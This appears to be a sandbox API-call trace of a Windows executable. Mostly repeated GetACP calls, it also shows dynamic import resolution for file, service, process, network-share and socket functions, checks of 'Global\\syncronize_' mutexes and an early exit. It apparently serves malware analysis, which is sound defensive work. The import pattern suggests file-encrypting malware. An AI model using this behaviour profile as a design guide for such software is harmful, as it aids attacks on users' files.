[0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.135] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.136] GetACP () returned 0x4e4 [0229.137] GetACP () returned 0x4e4 [0229.298] GetACP () returned 0x4e4 [0229.529] GetACP () returned 0x4e4 [0229.545] GetACP () returned 0x4e4 [0229.624] GetACP () returned 0x4e4 [0229.638] GetACP () returned 0x4e4 [0229.905] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.182] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.183] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.184] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.185] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.186] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.187] GetACP () returned 0x4e4 [0230.188] GetACP () returned 0x4e4 [0230.482] GetACP () returned 0x4e4 [0230.513] GetACP () returned 0x4e4 [0230.760] GetACP () returned 0x4e4 [0230.854] GetACP () returned 0x4e4 [0230.870] GetACP () returned 0x4e4 [0230.949] GetACP () returned 0x4e4 [0239.938] VirtualProtect (in: lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x51690f0 | out: lpflOldProtect=0x51690f0*=0x40) returned 1 [0239.939] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x75420000 [0239.939] GetProcAddress (hModule=0x75420000, lpProcName="GetProcAddress") returned 0x754351b0 [0239.939] GetProcAddress (hModule=0x75420000, lpProcName="LoadLibraryA") returned 0x75435a80 [0239.939] GetProcAddress (hModule=0x75420000, lpProcName="WaitForSingleObject") returned 0x7548eca0 [0239.939] GetProcAddress (hModule=0x75420000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7548ebb0 [0239.939] GetProcAddress (hModule=0x75420000, lpProcName="LeaveCriticalSection") returned 0x77deb250 [0239.940] GetProcAddress (hModule=0x75420000, lpProcName="GetLastError") returned 0x75435010 [0239.940] GetProcAddress (hModule=0x75420000, lpProcName="EnterCriticalSection") returned 0x77deb2d0 [0239.940] GetProcAddress (hModule=0x75420000, lpProcName="ReleaseMutex") returned 0x7548ec20 [0239.940] GetProcAddress (hModule=0x75420000, lpProcName="CloseHandle") returned 0x7548eab0 [0239.940] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75420000 [0239.941] GetProcAddress (hModule=0x75420000, lpProcName="GetProcAddress") returned 0x754351b0 [0239.941] GetProcAddress (hModule=0x75420000, lpProcName="GetModuleHandleW") returned 0x754350d0 [0239.941] GetProcAddress (hModule=0x75420000, lpProcName="FindNextFileW") returned 0x7548ee40 [0239.941] GetProcAddress (hModule=0x75420000, lpProcName="FindClose") returned 0x7548ed70 [0239.941] GetProcAddress (hModule=0x75420000, lpProcName="MoveFileW") returned 0x7546e500 [0239.941] GetProcAddress (hModule=0x75420000, lpProcName="GetFileSizeEx") returned 0x7548ef40 [0239.941] GetProcAddress (hModule=0x75420000, lpProcName="GetModuleFileNameW") returned 0x75435090 [0239.941] GetProcAddress (hModule=0x75420000, lpProcName="GetFileAttributesW") returned 0x7548ef10 [0239.941] GetProcAddress (hModule=0x75420000, lpProcName="ExitProcess") returned 0x75433cb0 [0239.942] GetProcAddress (hModule=0x75420000, lpProcName="GetCommandLineW") returned 0x75434cc0 [0239.942] GetProcAddress (hModule=0x75420000, lpProcName="GetComputerNameW") returned 0x754632c0 [0239.942] GetProcAddress (hModule=0x75420000, lpProcName="GetComputerNameA") returned 0x75463780 [0239.942] GetProcAddress (hModule=0x75420000, lpProcName="CreateMutexW") returned 0x7548eb70 [0239.942] GetProcAddress (hModule=0x75420000, lpProcName="lstrlenW") returned 0x75436c70 [0239.942] GetProcAddress (hModule=0x75420000, lpProcName="lstrlenA") returned 0x75436c50 [0239.942] GetProcAddress (hModule=0x75420000, lpProcName="GetCurrentProcess") returned 0x7548ea10 [0239.942] GetProcAddress (hModule=0x75420000, lpProcName="WaitForSingleObject") returned 0x7548eca0 [0239.942] GetProcAddress (hModule=0x75420000, lpProcName="GetLogicalDrives") returned 0x75430d20 [0239.943] GetProcAddress (hModule=0x75420000, lpProcName="GetTickCount") returned 0x7548dd50 [0239.943] GetProcAddress (hModule=0x75420000, lpProcName="DeleteFileW") returned 0x7548ed40 [0239.943] GetProcAddress (hModule=0x75420000, lpProcName="WideCharToMultiByte") returned 0x75436b10 [0239.943] GetProcAddress (hModule=0x75420000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7548ebb0 [0239.943] GetProcAddress (hModule=0x75420000, lpProcName="Sleep") returned 0x75436760 [0239.943] GetProcAddress (hModule=0x75420000, lpProcName="LeaveCriticalSection") returned 0x77deb250 [0239.943] GetProcAddress (hModule=0x75420000, lpProcName="ReadFile") returned 0x7548f090 [0239.943] GetProcAddress (hModule=0x75420000, lpProcName="CreateFileW") returned 0x7548ed10 [0239.943] GetProcAddress (hModule=0x75420000, lpProcName="OpenMutexW") returned 0x7548ebf0 [0239.944] GetProcAddress (hModule=0x75420000, lpProcName="EnterCriticalSection") returned 0x77deb2d0 [0239.944] GetProcAddress (hModule=0x75420000, lpProcName="WaitForMultipleObjects") returned 0x7548ec80 [0239.944] GetProcAddress (hModule=0x75420000, lpProcName="lstrcmpiW") returned 0x75436bf0 [0239.944] GetProcAddress (hModule=0x75420000, lpProcName="lstrcmpiA") returned 0x75436bd0 [0239.944] GetProcAddress (hModule=0x75420000, lpProcName="DeleteCriticalSection") returned 0x77dcfb90 [0239.944] GetProcAddress (hModule=0x75420000, lpProcName="ReleaseMutex") returned 0x7548ec20 [0239.944] GetProcAddress (hModule=0x75420000, lpProcName="CloseHandle") returned 0x7548eab0 [0239.944] GetProcAddress (hModule=0x75420000, lpProcName="GetVersion") returned 0x754356c0 [0239.944] GetProcAddress (hModule=0x75420000, lpProcName="CreateThread") returned 0x754346b0 [0239.945] GetProcAddress (hModule=0x75420000, lpProcName="ExpandEnvironmentStringsW") returned 0x75434a40 [0239.945] GetProcAddress (hModule=0x75420000, lpProcName="QueryPerformanceCounter") returned 0x75435da0 [0239.945] GetProcAddress (hModule=0x75420000, lpProcName="QueryPerformanceFrequency") returned 0x75435dc0 [0239.945] GetProcAddress (hModule=0x75420000, lpProcName="GetCurrentProcessId") returned 0x7548ea20 [0239.945] GetProcAddress (hModule=0x75420000, lpProcName="SetFileAttributesW") returned 0x7548f100 [0239.945] GetProcAddress (hModule=0x75420000, lpProcName="GetVolumeInformationW") returned 0x7548f020 [0239.945] GetProcAddress (hModule=0x75420000, lpProcName="WriteFile") returned 0x7548f180 [0239.945] GetProcAddress (hModule=0x75420000, lpProcName="SetFilePointerEx") returned 0x7548f130 [0239.945] GetProcAddress (hModule=0x75420000, lpProcName="SetEndOfFile") returned 0x7548f0e0 [0239.946] GetProcAddress (hModule=0x75420000, lpProcName="FindFirstFileW") returned 0x7548edf0 [0239.946] GetProcAddress (hModule=0x75420000, lpProcName="GetProcessHeap") returned 0x754351f0 [0239.946] GetProcAddress (hModule=0x75420000, lpProcName="HeapReAlloc") returned 0x77ddf630 [0239.946] GetProcAddress (hModule=0x75420000, lpProcName="HeapAlloc") returned 0x77de2dc0 [0239.946] GetProcAddress (hModule=0x75420000, lpProcName="HeapFree") returned 0x754357f0 [0239.946] GetProcAddress (hModule=0x75420000, lpProcName="CreatePipe") returned 0x75434590 [0239.946] GetProcAddress (hModule=0x75420000, lpProcName="SetHandleInformation") returned 0x7548eae0 [0239.946] GetProcAddress (hModule=0x75420000, lpProcName="CreateProcessW") returned 0x75434610 [0239.946] GetProcAddress (hModule=0x75420000, lpProcName="CompareStringW") returned 0x75434430 [0239.947] GetProcAddress (hModule=0x75420000, lpProcName="CompareStringA") returned 0x75434410 [0239.947] GetProcAddress (hModule=0x75420000, lpProcName="OpenProcess") returned 0x75435cc0 [0239.947] GetProcAddress (hModule=0x75420000, lpProcName="TerminateProcess") returned 0x754367e0 [0239.947] GetProcAddress (hModule=0x75420000, lpProcName="GetSystemTime") returned 0x754354e0 [0239.947] GetProcAddress (hModule=0x75420000, lpProcName="SystemTimeToFileTime") returned 0x754367a0 [0239.947] GetProcAddress (hModule=0x75420000, lpProcName="GetLastError") returned 0x75435010 [0239.947] GetProcAddress (hModule=0x75420000, lpProcName="CreateToolhelp32Snapshot") returned 0x7546edc0 [0239.947] GetProcAddress (hModule=0x75420000, lpProcName="Process32NextW") returned 0x7546f8f0 [0239.947] GetProcAddress (hModule=0x75420000, lpProcName="Process32FirstW") returned 0x7546f750 [0239.947] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77a40000 [0239.948] GetProcAddress (hModule=0x77a40000, lpProcName="RegOpenKeyExW") returned 0x77a5e580 [0239.948] GetProcAddress (hModule=0x77a40000, lpProcName="RegQueryValueExW") returned 0x77a5e5a0 [0239.948] GetProcAddress (hModule=0x77a40000, lpProcName="RegSetValueExW") returned 0x77a5f530 [0239.948] GetProcAddress (hModule=0x77a40000, lpProcName="RegCloseKey") returned 0x77a5ed60 [0239.948] GetProcAddress (hModule=0x77a40000, lpProcName="OpenProcessToken") returned 0x77a5efb0 [0239.948] GetProcAddress (hModule=0x77a40000, lpProcName="GetTokenInformation") returned 0x77a5ee90 [0239.948] GetProcAddress (hModule=0x77a40000, lpProcName="OpenSCManagerW") returned 0x77a60540 [0239.948] GetProcAddress (hModule=0x77a40000, lpProcName="OpenServiceW") returned 0x77a5fa20 [0239.949] GetProcAddress (hModule=0x77a40000, lpProcName="CloseServiceHandle") returned 0x77a5fc00 [0239.949] GetProcAddress (hModule=0x77a40000, lpProcName="ControlService") returned 0x77a726d0 [0239.949] GetProcAddress (hModule=0x77a40000, lpProcName="QueryServiceStatus") returned 0x77a62380 [0239.949] GetProcAddress (hModule=0x77a40000, lpProcName="EnumDependentServicesW") returned 0x77a72f70 [0239.949] GetProcAddress (hModule=0x77a40000, lpProcName="EnumServicesStatusExW") returned 0x77a5fc80 [0239.949] LoadLibraryA (lpLibFileName="user32.dll") returned 0x752e0000 [0239.949] GetProcAddress (hModule=0x752e0000, lpProcName="SystemParametersInfoW") returned 0x7530f210 [0239.949] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76060000 [0239.949] GetProcAddress (hModule=0x76060000, lpProcName="ShellExecuteExW") returned 0x761c4730 [0239.950] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77da0000 [0239.950] GetProcAddress (hModule=0x77da0000, lpProcName="NtQuerySystemInformation") returned 0x77e12070 [0239.950] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74600000 [0239.954] GetProcAddress (hModule=0x74600000, lpProcName="WNetCloseEnum") returned 0x74602640 [0239.954] GetProcAddress (hModule=0x74600000, lpProcName="WNetOpenEnumW") returned 0x74602790 [0239.954] GetProcAddress (hModule=0x74600000, lpProcName="WNetEnumResourceW") returned 0x74602410 [0239.954] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75d40000 [0239.957] GetProcAddress (hModule=0x75d40000, lpProcName="WSAStartup") returned 0x75d45b40 [0239.957] GetProcAddress (hModule=0x75d40000, lpProcName="socket") returned 0x75d54510 [0239.957] GetProcAddress (hModule=0x75d40000, lpProcName="send") returned 0x75d45030 [0239.957] GetProcAddress (hModule=0x75d40000, lpProcName="recv") returned 0x75d50c50 [0239.958] GetProcAddress (hModule=0x75d40000, lpProcName="connect") returned 0x75d45410 [0239.958] GetProcAddress (hModule=0x75d40000, lpProcName="closesocket") returned 0x75d50910 [0239.958] GetProcAddress (hModule=0x75d40000, lpProcName="gethostbyname") returned 0x75d76cb0 [0239.958] GetProcAddress (hModule=0x75d40000, lpProcName="inet_addr") returned 0x75d59160 [0239.958] GetProcAddress (hModule=0x75d40000, lpProcName="ntohl") returned 0x75d449d0 [0239.958] GetProcAddress (hModule=0x75d40000, lpProcName="htonl") returned 0x75d449d0 [0239.958] GetProcAddress (hModule=0x75d40000, lpProcName="htons") returned 0x75d58ff0 [0239.958] GetProcessHeap () returned 0x620000 [0239.958] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x20) returned 0x62aff8 [0239.958] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=8184304929) returned 1 [0239.958] GetTickCount () returned 0x13f94 [0239.958] GetCurrentProcessId () returned 0xdbc [0239.960] GetTickCount () returned 0x13f94 [0239.960] GetTickCount () returned 0x13f94 [0239.960] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x20) returned 0x62b020 [0239.960] GetVersion () returned 0x23f00206 [0239.960] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x7) returned 0x639088 [0239.960] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x10) returned 0x67b560 [0239.961] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x67b560, Size=0x20) returned 0x62b098 [0239.961] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x62b098, Size=0x40) returned 0x632480 [0239.961] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xfffe) returned 0x67bc00 [0239.961] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_Q25317A") returned 0xf3c [0239.961] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x639088 | out: hHeap=0x620000) returned 1 [0239.961] lstrlenW (lpString="Global\\syncronize_") returned 18 [0239.961] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x632480 | out: hHeap=0x620000) returned 1 [0239.961] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x7) returned 0x639068 [0239.961] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x10) returned 0x67b668 [0239.961] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x67b668, Size=0x20) returned 0x62b098 [0239.961] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x62b098, Size=0x40) returned 0x6321b0 [0239.961] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xfffe) returned 0x68bc08 [0239.962] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_Q25317U") returned 0xf40 [0239.962] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x639068 | out: hHeap=0x620000) returned 1 [0239.962] lstrlenW (lpString="Global\\syncronize_") returned 18 [0239.962] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6321b0 | out: hHeap=0x620000) returned 1 [0239.962] GetVersion () returned 0x23f00206 [0239.962] GetCurrentProcess () returned 0xffffffff [0239.962] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0xf44) returned 1 [0239.962] GetTokenInformation (in: TokenHandle=0xf44, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0239.962] CloseHandle (hObject=0xf44) returned 1 [0239.962] WaitForSingleObject (hHandle=0xf40, dwMilliseconds=0x0) returned 0x102 [0239.962] ExitProcess (uExitCode=0x0) Thread: id = 876 os_tid = 0xdec Thread: id = 897 os_tid = 0xe48 [0226.233] GetACP () returned 0x4e4 [0226.233] GetACP () returned 0x4e4 [0226.233] Sleep (dwMilliseconds=0x0) [0226.357] RtlExitUserThread (Status=0x0) Thread: id = 898 os_tid = 0xe4c [0226.234] GetACP () returned 0x4e4 [0226.234] GetACP () returned 0x4e4 [0226.234] Sleep (dwMilliseconds=0x0) [0226.358] RtlExitUserThread (Status=0x0) Thread: id = 899 os_tid = 0xe50 [0226.234] GetACP () returned 0x4e4 [0226.234] GetACP () returned 0x4e4 [0226.234] Sleep (dwMilliseconds=0x0) [0226.358] RtlExitUserThread (Status=0x0) Thread: id = 900 os_tid = 0xe54 [0226.235] GetACP () returned 0x4e4 [0226.235] GetACP () returned 0x4e4 [0226.235] Sleep (dwMilliseconds=0x0) [0226.359] RtlExitUserThread (Status=0x0) Thread: id = 901 os_tid = 0xe58 [0226.235] GetACP () returned 0x4e4 [0226.235] GetACP () returned 0x4e4 [0226.235] Sleep (dwMilliseconds=0x0) [0226.360] RtlExitUserThread (Status=0x0) Thread: id = 902 os_tid = 0xe5c [0226.236] GetACP () returned 0x4e4 [0226.236] GetACP () returned 0x4e4 [0226.236] Sleep (dwMilliseconds=0x0) [0226.360] RtlExitUserThread (Status=0x0) Thread: id = 903 os_tid = 0xe60 [0226.236] GetACP () returned 0x4e4 [0226.236] GetACP () returned 0x4e4 [0226.236] Sleep (dwMilliseconds=0x0) [0226.361] RtlExitUserThread (Status=0x0) Thread: id = 904 os_tid = 0xe64 [0226.237] GetACP () returned 0x4e4 [0226.237] GetACP () returned 0x4e4 [0226.237] Sleep (dwMilliseconds=0x0) [0226.362] RtlExitUserThread (Status=0x0) Thread: id = 905 os_tid = 0xe68 [0226.237] GetACP () returned 0x4e4 [0226.237] GetACP () returned 0x4e4 [0226.237] Sleep (dwMilliseconds=0x0) [0226.362] RtlExitUserThread (Status=0x0) Thread: id = 906 os_tid = 0xe6c [0226.237] GetACP () returned 0x4e4 [0226.237] GetACP () returned 0x4e4 [0226.237] Sleep (dwMilliseconds=0x0) [0226.363] RtlExitUserThread (Status=0x0) Thread: id = 907 os_tid = 0xe70 [0226.238] GetACP () returned 0x4e4 [0226.238] GetACP () returned 0x4e4 [0226.238] Sleep (dwMilliseconds=0x0) [0226.363] RtlExitUserThread (Status=0x0) Thread: id = 908 os_tid = 0xe74 [0226.238] GetACP () returned 0x4e4 [0226.238] GetACP () returned 0x4e4 [0226.238] Sleep (dwMilliseconds=0x0) [0226.364] RtlExitUserThread (Status=0x0) Thread: id = 929 os_tid = 0xe78 [0226.365] GetACP () returned 0x4e4 [0226.365] GetACP () returned 0x4e4 [0226.365] Sleep (dwMilliseconds=0x0) [0226.466] RtlExitUserThread (Status=0x0) Thread: id = 930 os_tid = 0xecc [0226.365] GetACP () returned 0x4e4 [0226.365] GetACP () returned 0x4e4 